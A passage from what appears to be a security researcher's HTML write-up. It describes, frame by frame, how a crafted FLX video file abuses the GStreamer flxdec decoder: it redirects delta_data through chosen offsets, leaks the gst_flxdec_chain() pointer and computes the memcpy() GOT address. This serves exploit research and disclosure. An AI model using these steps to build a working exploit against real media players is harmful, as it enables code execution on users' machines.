<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x3a148, which is </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">&flxdec->frame_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Frame tick: copies </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->sinkpad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->frame_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which is then added to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->next_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, leaving </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->sinkpad + 0x140</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> in </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->next_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 5</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x3a150, which is a read of </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->next_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, or our calculated pointer value.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x3c8b0, which is a saving of our calculated pointer value toward the beginning of the input file buffer. Also useful for debugging.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Frame tick, already explained.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 6</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; read the saved calculated pointer value at offset 0x3c8b0.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; write it to offset 0x3a120, which is </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Frame tick, already explained.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 7</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; reads from </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> which currently points to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->sinkpad + 0x140</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This reads the value of a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gst_flxdec_chain()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> function pointer.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_COLOR256; writes the pointer value that we wrote into the input file buffer in frame 3 above, which is </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">&flxdec->frame_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Writes it to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, restoring it. Until we restored it, it pointed outside of the thread heap arena, so the partial pointer overwrites that we’ve been using were broken until we just restored it.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Frame tick: writes the value of the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gst_flxdec_chain()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> function pointer to f</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">lxdec->frame_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 8</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; writes 8 byte pointer offset value 0x202f70 to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->next_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Frame tick: addition! Leaves </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gst_flxdec_chain() + 0x202f70</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> in </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->next_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This is the </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">read only</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> address of the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memcpy()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GOT entry.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 9</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; points </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">&flxdec->next_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, for read of calculation result.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; points </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x3c8c0, a place in the in input file buffer, to write the calculation result at frame tick time.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Frame tick, already explained.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 10</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->name</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x3a148, which now points to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->frame_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. (Can’t convince myself this is still necessary -- I don’t think the value changed since we set it to the same value in frame 3).</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x3a020, which points to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->name</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x3d1ca, which is inside the input file buffer.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Frame tick: copies from </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->name</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which contains the value </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">&flxdec->frame_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, to a point in the input file buffer; we’ll need it later.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 11</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; point </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to read from offset 0x3c8c0, which is where we stashed the GOT address of the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memcpy()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> function pointer in frame 9.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; point </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to write to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> at frame tick. Writes the GOT address of </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memcpy()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: 